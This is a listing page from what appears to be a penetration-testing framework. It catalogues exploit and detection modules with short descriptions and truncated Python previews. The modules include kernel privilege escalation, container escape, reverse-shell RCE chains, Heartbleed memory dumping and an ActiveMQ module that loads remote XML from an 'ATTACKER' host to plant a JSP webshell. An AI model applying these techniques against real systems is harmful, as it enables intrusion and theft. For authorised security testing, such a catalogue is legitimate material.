Search Engine Footprint

Run passive search-engine dorks site:, filetype:, inurl: and collect indexed URLs, titles, and sensitive path hints. !/usr/bin/env python3 -- coding: utf-8 -- """Passive search-engine footprinting via HTML search results.""" from future import annotations import json import re from typing import...

Linux Kernel LPE Router (CVE-2026)

From a low-privilege Linux shell, scores public 2026 kernel LPE modules Copy Fail, badepoll, nftables catch-all, ptrace, PackageKit, etc. and optionally runs the highest-priority eligible module on this session. !/usr/bin/env python3 -- coding: utf-8 -- """Probe Linux kernel LPE candidates 2026 a...

Cisco Email Security Appliance - Panel Detection

Detected Cisco Email Security Appliance login panel. !/usr/bin/env python3 -- coding: utf-8 -- """Detected Cisco Email Security Appliance login panel.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Cisco Email...

JTL Shop Smarty SSTI RCE (CVE-2026-54390)

Exploits CVE-2026-54390 in JTL Shop 5.4.0–5.7.1: unauthenticated contact form input reaches SmartyRenderer::fetch'string:' . $subject. Serves the configured framework PHP payload locally, injects a Smarty system write primitive via vorname, waits for async email rendering, then triggers reversetc...

Rocket.Chat <3.9.1 - Information Disclosure Detection

Rocket.Chat through 3.9.1 is susceptible to information disclosure. An attacker can enumerate email addresses via the password reset function and thus potentially access sensitive information, modify data, and/or execute unauthorized operations. !/usr/bin/env python3 -- coding: utf-8 --...

OpenSSL Heartbleed CVE-2014-0160 detection

Sends a malformed TLS heartbeat CVE-2014-0160 and reports whether the server returns more data than declared. Supports direct TLS e.g. HTTPS and cleartext services that upgrade with STARTTLS/STLS/AUTH TLS. !/usr/bin/env python3 -- coding: utf-8 -- """Detect OpenSSL Heartbleed CVE-2014-0160 via...

Apache Tomcat AJP - Ghostcat Detection (CVE-2020-1938)

Detects CVE-2020-1938 Ghostcat by sending a crafted AJP13 FORWARDREQUEST that includes /WEB-INF/web.xml via javax.servlet.include.servletpath. !/usr/bin/env python3 -- coding: utf-8 -- """Apache Tomcat AJP Ghostcat file read / include CVE-2020-1938.""" import socket import struct from kittysploit...

D-Link DNS-320 - system_mgr.cgi Command Injection (CVE-2020-25506)

Exploits CVE-2020-25506 by injecting OS commands into fntpserver on /cgi-bin/systemmgr.cgi, writing stdout under /cgi-bin/.txt. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """D-Link DNS-320 systemmgr.cgi NTP command injection CVE-2020-25506 — opens execute...

Snipe-IT View-Only File Upload Bypass (CVE-2026-37709)

CVE-2026-37709 in Snipe-IT ≤ 8.4.0 fixed in 8.4.1: the file upload endpoint POST /api/v1/objecttype/id/files checks the view permission gate instead of update. Any API user with view-only access can upload arbitrary files to any visible object. On misconfigured servers PHP execution under...

Moodle LTI module Reflected - Cross-Site Scripting Detection

A reflected XSS issue was identified in the LTI module of Moodle. The vulnerability exists due to insufficient sanitization of user-supplied data in the LTI module. A remote attacker can trick the victim to follow a specially crafted link and execute arbitrary HTML and script code in user's brows...

WordPress Jannah Theme <5.4.4 - Cross-Site Scripting Detection

WordPress Jannah theme before 5.4.4 contains a reflected cross-site scripting vulnerability. It does not properly sanitize the options JSON parameter in its tiegetuserweather AJAX action before outputting it back in the page. !/usr/bin/env python3 -- coding: utf-8 -- """WordPress Jannah theme...

miniOrange SAML SSO Auth Bypass RCE (CVE-2026-15013)

Exploits CVE-2026-15013 in miniOrange SAML SSO = 5.4.3: HMAC signature algorithm confusion in SAML assertion validation lets an unauthenticated attacker forge a signed assertion using the IdP X509 public key as the HMAC secret. Enumerates WordPress users, obtains admin via forged SAMLResponse,...

Juniper Web Device Manager - Cross-Site Scripting Detection

Juniper Web Device Manager J-Web in Junos OS contains a cross-site scripting vulnerability. This can allow an unauthenticated attacker to run malicious scripts reflected off J-Web to the victim's browser in the context of their session within J-Web, which can allow the attacker to steal...

IceWarp WebClient - Remote Code Execution Detection

IceWarp WebClient is susceptible to remote code execution. !/usr/bin/env python3 -- coding: utf-8 -- """IceWarp WebClient is susceptible to remote code execution.""" import re from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info =...

ASUS DSL-AC88U - Authentication Bypass Detection

A vulnerability in the ASUS DSL-AC88U router permits unauthorized individuals to bypass authentication.When adding "/js/..%2f%2f" or "/images/..%2f%2e" to the requested URL, it will be recognized as passing the authentication.This vulnerability is part of a broader authentication bypass issue...

WordPress Supsystic Ultimate Maps <1.2.5 - Cross-Site Scripting Detection

WordPress Supsystic Ultimate Maps plugin before 1.2.5 contains an unauthenticated reflected cross-site scripting vulnerability due to improper sanitization of the tab parameter on the options page before outputting it in an attribute. !/usr/bin/env python3 -- coding: utf-8 -- """WordPress Supsyst...

Apache Tomcat CVE-2026-43512 detection

Fingerprints Apache Tomcat and flags versions affected by CVE-2026-43512 DIGEST authentication bypass: 9.0.x 9.0.118, 10.1.x 10.1.55, 11.0.x 11.0.22, 8.5.x = 8.5.100. !/usr/bin/env python3 -- coding: utf-8 -- import re from typing import Optional, Tuple from kittysploit import from...

LiteLLM MCP Auth Bypass RCE (CVE-2026-59822)

Exploits CVE-2026-59822 in LiteLLM proxy before 1.84.0: forged Bearer token bypasses MCP Streamable HTTP auth, then invokes an MCP tool or admin route to execute the configured reverse CMD payload. !/usr/bin/env python3 -- coding: utf-8 -- """LiteLLM MCP auth bypass to RCE CVE-2026-59822.""" impo...

Dahua Devices - webCapsConfig Information Disclosure (CVE-2019-9680)

Multiple Dahua devices and OEMs expose /webcaps/webCapsConfig without authentication, disclosing deviceType and vendor metadata. CVE-2024-13131 was rejected as a duplicate of CVE-2019-9680. !/usr/bin/env python3 -- coding: utf-8 -- """Dahua and OEM unauthenticated webCapsConfig information...

Uptime Kuma - Installer Detection

Detected Uptime Kuma setup page is publicly accessible with needSetup enabled, allowing unauthenticated users to complete installation and gain full admin access by access /setup-database. !/usr/bin/env python3 -- coding: utf-8 -- """Detected Uptime Kuma setup page is publicly accessible with...

Multi-function Printer - Unauthorized Access Detection

Unauthorized access to MFP Multi-function printer using eSCL protocol allows attackers to scan documents left physically in the printer and send them to an arbitrary location. Furthermore, exposure of this endpoint allows attackers to gather information about the printer, serial number, model, an...

PostgreSQL pgcrypto Heap Overflow (CVE-2026-2005)

Multi-stage exploit against CVE-2026-2005 pgcrypto PGP session key heap overflow. Leaks heap pointers, performs arbitrary read/write, resolves PIE via local postgres ELF symbols, overwrites CurrentUserId, then runs COPY FROM PROGRAM. from kittysploit import from...

ProFTPD - mod_copy CPFR/CPTO Detection (CVE-2015-3306)

Detects CVE-2015-3306 by issuing unauthenticated SITE CPFR /etc/passwd then SITE CPTO /tmp/passwd.copy and matching copy success. !/usr/bin/env python3 -- coding: utf-8 -- """ProFTPD modcopy unauthenticated SITE CPFR/CPTO CVE-2015-3306.""" import socket from kittysploit import from...

Hashicorp Consul API Unauthenticated Detection

In HashiCorp Consul's API without authentication arises when Consul is improperly secured, exposing its endpoints to unauthorized access. !/usr/bin/env python3 -- coding: utf-8 -- """In HashiCorp Consul's API without authentication arises when Consul is improperly secured, exposing its endpoi."""...

WebCTRL OEM <= 6.5 - Cross-Site Scripting Detection

WebCTRL OEM 6.5 and prior is susceptible to a cross-site scripting vulnerability because the login portal does not sanitize the operatorlocale GET parameter. !/usr/bin/env python3 -- coding: utf-8 -- """WebCTRL OEM 6.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient...

Zoho manageengine - Cross-Site Scripting Detection

Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the...

Lighttpd 1.4.34 SQL Injection and Path Traversal Detection

A SQL injection vulnerability in modmysqlvhost.c in lighttpd before 1.4.35 allows remote attackers to execute arbitrary SQL commands via the host name related to requestcheckhostname. !/usr/bin/env python3 -- coding: utf-8 -- """A SQL injection vulnerability in modmysqlvhost.""" import re from...

WordPress Photo Gallery by 10Web <1.5.69 - Cross-Site Scripting Detection

WordPress Photo Gallery by 10Web plugin before 1.5.69 contains multiple reflected cross-site scripting vulnerabilities via the galleryid, tag, albumid and themeid GET parameters passed to the bwgfrontenddata AJAX action, available to both unauthenticated and authenticated users. !/usr/bin/env...

Copy Fail Docker Escape via Modprobe (CVE-2026-31431)

Exploits CVE-2026-31431 Copy Fail / authencesn AEAD page-cache write from inside a Linux container to overwrite /proc/sys/kernel/modprobe, plant a host payload, and trigger requestmodule for host code execution. Requires a writable host path privileged container, shared PID+mount, or hostPath e.g...

OpenSSL Heartbleed CVE-2014-0160 - Memory dump

Repeatedly triggers the TLS heartbeat over-read CVE-2014-0160 to collect server memory. Optional RSA private key reconstruction when the leaked buffer contains prime factors matching the service certificate modulus. !/usr/bin/env python3 -- coding: utf-8 -- """Exploit OpenSSL Heartbleed...

Copy Fail Local Privilege Escalation (CVE-2026-31431)

CVE-2026-31431 Copy Fail: AFALG authencesn + splice page-cache write. Modes: su overwrite setuid su with tiny root shell ELF, passwd clear root password in /etc/passwd page cache, write arbitrary page-cache write. su mode launches an interactive root shell on SSH PTY / classic socket. from...

Adobe Campaign Classic CVE-2026-83660 Detect

Detects Adobe Campaign Classic ACC instances likely affected by CVE-2026-83660 unauthenticated SSRF / privilege escalation and CVE-2026-89276 low-privilege code injection. Fingerprints ACC JSP surfaces and parses build numbers from /r/test against the APSB26-142 fixed build 7.4.4.9402...

Sekolahku CMS - Detect

Sekolahku CMS is a free, open-source, and easy-to-use content management system CMS for schools and educational institutions. It is designed to help schools manage their websites, manage student information, and manage school activities. !/usr/bin/env python3 -- coding: utf-8 -- """Sekolahku CMS ...

Admidio - Cross-Site Scripting Detection

A cross-site scripting vulnerability is present in Admidio prior to version 4.0.12. The reflected cross-site scripting vulnerability occurs because redirect.php does not properly validate the value of the url parameter. Through this vulnerability, an attacker is capable to execute malicious...

WordPress Simple Membership <4.1.1 - Cross-Site Scripting Detection

WordPress Simple Membership plugin before 4.1.1 contains a reflected cross-site scripting vulnerability. It does not properly sanitize and escape parameters before outputting them back in AJAX actions. !/usr/bin/env python3 -- coding: utf-8 -- """WordPress Simple Membership plugin before 4.""" fr...

Apache ActiveMQ < 5.16.5/5.17.3 - Remote Code Execution Detection

Once an user is authenticated on Jolokia, he can potentially trigger arbitrary code execution. In details, in ActiveMQ configurations, jetty allows org.jolokia.http.AgentServlet to handler request to /api/jolokia org.jolokia.http.HttpRequestHandlerhandlePostRequest is able to create JmxRequest...

Php User.ini Disclosure Detection

PHP user.ini file is exposed. !/usr/bin/env python3 -- coding: utf-8 -- """PHP user.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info = 'name': 'Php User.ini Disclosure Detection', 'description': 'PHP user.ini file is exposed.',...

ZimaOS - Authentication Bypass

ZimaOS = 1.5.0 accepts any password for known system service accounts such as root via /v1/users/login. !/usr/bin/env python3 -- coding: utf-8 -- """ZimaOS - Authentication Bypass""" from kittysploit import from lib.protocols.http.httpclient import Httpclient class ModuleScanner, Httpclient: info...

Popup by Supsystic <1.10.5 - Cross-Site scripting Detection

WordPress Popup by Supsystic before 1.10.5 did not sanitize the tab parameter of its options page before outputting it in an attribute, leading to a reflected cross-site scripting issue. !/usr/bin/env python3 -- coding: utf-8 -- """WordPress Popup by Supsystic before 1.""" from kittysploit import...

S7 module enumeration

Enumerates rack/slot modules on a Siemens S7 PLC using SZL 0x0013 reads CPU, IO, CP modules. !/usr/bin/env python3 -- coding: utf-8 -- from kittysploit import from lib.protocols.ics.constants import ICSPROTOCOLPORTS from lib.protocols.ics.icsscannerclient import Icsscannerclient from...

Apache ActiveMQ CVE-2026-34197 Jolokia RCE

CVE-2026-34197: authenticated Jolokia exec on org.apache.activemq MBeans allows addNetworkConnector with a crafted vm:// URI that loads remote Spring XML xbean:http://ATTACKER/shell.xml for arbitrary code execution. This module serves shell.xml with an inline base64 JSP webshell, then invokes the...

Apache ActiveMQ CVE-2026-34197 detection

Fingerprints Apache ActiveMQ Classic and flags versions affected by CVE-2026-34197 Jolokia addNetworkConnector RCE: 5.19.4 and 6.0.0 through 6.2.2. !/usr/bin/env python3 -- coding: utf-8 -- import re from typing import Optional, Tuple from kittysploit import from lib.protocols.http.httpclient...

SUSE Manager / Uyuni WebSocket unauthenticated remote command (CVE-2025-46811)

Unauthenticated access to /rhn/websocket/minion/remote-commands allows listing registered Salt minions preview and scheduling arbitrary shell commands on a chosen minion. Affects Uyuni 2025.05, SUSE Manager 5.0.4, SUSE Manager 4.3.15 and related releases as described in the advisory. !/usr/bin/en...

Swagger/OpenAPI detection

Detects exposed Swagger or OpenAPI documentation API disclosure. !/usr/bin/env python3 -- coding: utf-8 -- """Détection Swagger / OpenAPI exposé.""" from kittysploit import from lib.protocols.http.httpclient import Httpclient PATHS = "/swagger", "/swagger/", "/swagger.json", "/swagger.yaml",...

SonicWall SMA1000 WorkPlace SSRF (CVE-2026-83548)

Exploits CVE-2026-83548 in SonicWall SMA1000 WorkPlace: unauthenticated absolute-form OPTIONS requests are forwarded to loopback CouchDB, enabling internal database access and downstream RCE chains. !/usr/bin/env python3 -- coding: utf-8 -- """SonicWall SMA1000 WorkPlace SSRF to CouchDB...

Tenda AC1200 Auth Bypass (CVE-2022-40843)

Exploits CVE-2022-40843 in Tenda AC1200 V-W15Ev2: empty W15Ev2user cookie bypasses authentication and exposes syslog/config containing admin password hash. !/usr/bin/env python3 -- coding: utf-8 -- """Tenda AC1200 session auth bypass CVE-2022-40843.""" import re from kittysploit import from...

JFrog Artifactory CVE-2026-42016 Token Escalation

Chains CVE-2026-42018 anonymous JWT acquisition with CVE-2026-42016: POST /access/api/v1/tokens accepts a low-privilege token and returns an admin-scoped token when scope validation checks signature/issuer only. !/usr/bin/env python3 -- coding: utf-8 -- """JFrog Artifactory CVE-2026-42016 scope...

Magento StyleSmuggler Unauthenticated RCE (CVE-2026-75650)

Exploits CVE-2026-75650 StyleSmuggler via a two-stage unauthenticated chain: poison var/report through /paypal/transparent/response/, then trigger template evaluation through /graphql styles gadget parameters no email delivery required. !/usr/bin/env python3 -- coding: utf-8 -- """Magento / Adobe...

IceWarp WebClient RCE

Exploits unauthenticated PHP code injection in IceWarp WebClient via the dlgcaptchatarget parameter. Opens an interactive execute session. !/usr/bin/env python3 -- coding: utf-8 -- """IceWarp WebClient captcha target RCE — execute session.""" from future import annotations import re from...

Apache HTTP Server 2.4.49 - Path Traversal / RCE Detection (CVE-2021-41773)

Detects CVE-2021-41773 by reading /etc/passwd via encoded /.%%2e/ traversal under /cgi-bin or /icons, and optionally confirming CGI RCE via POST to bin/sh. !/usr/bin/env python3 -- coding: utf-8 -- """Apache HTTP Server 2.4.49 path traversal / CGI RCE CVE-2021-41773.""" import re from kittysploit...